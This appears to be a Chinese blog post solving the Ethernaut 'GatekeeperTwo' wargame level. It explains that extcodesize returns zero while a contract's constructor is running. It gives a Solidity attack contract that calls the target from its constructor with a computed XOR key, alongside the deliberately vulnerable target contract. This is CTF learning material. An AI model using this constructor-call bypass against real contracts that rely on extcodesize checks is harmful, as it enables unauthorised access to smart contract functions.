`

extcodesize

 
阅读更多
extcodesize取出的byte code长度,若长度大于0就表示是合约发出的,等于0还不一定是EOA地址,因为在合约的构造函数发出,其byte code尚未初始化,仍为0
// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";

contract GatekeeperTwoAttack {
    constructor(address addr,address addr2){
        //构造函数
        attack(addr, addr2);
    }

    function attack(address addr,address addr2) public returns(bool){
        //require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
        bytes8 _gateKey = ~(bytes8(keccak256(abi.encodePacked(address(this)))) & 0xFFFFFFFFFFFFFFFF) ;
        bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        console.logBytes8(_gateKey);
        console.log("key:");
        console.logBytes8(_key);
        (bool success, bytes memory data) = addr.call(
                abi.encodeWithSignature("enter(bytes8)", _gateKey)
            );
        if(success){
            console.log("succ");
        }
        return true;
    }
}

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    console.log("gateOne start");
    require(msg.sender != tx.origin);
    console.log("gateOne succ");
    _;
  }

  modifier gateTwo() {
    console.log("gateTwo start");
    uint x;
    //如果调用者是合约的构造函数中,则runtime的byte code尚未存储,x仍会是0
    assembly { x := extcodesize(caller()) }
    console.log("x:",x);
    require(x == 0);
    console.log("gateTwo succ");
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    console.log("gateThree start");
    console.logBytes8(bytes8(keccak256(abi.encodePacked(msg.sender))));
    console.logBytes8(_gateKey);
    console.logUint(uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))^ uint64(_gateKey));
    console.logUint(type(uint64).max);
    console.logBool(type(uint64).max==(uint64(0) - 1));
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    console.log("gateThree succ");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    console.log("enter");
    entrant = tx.origin;
    return true;
  }
}





  


  
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics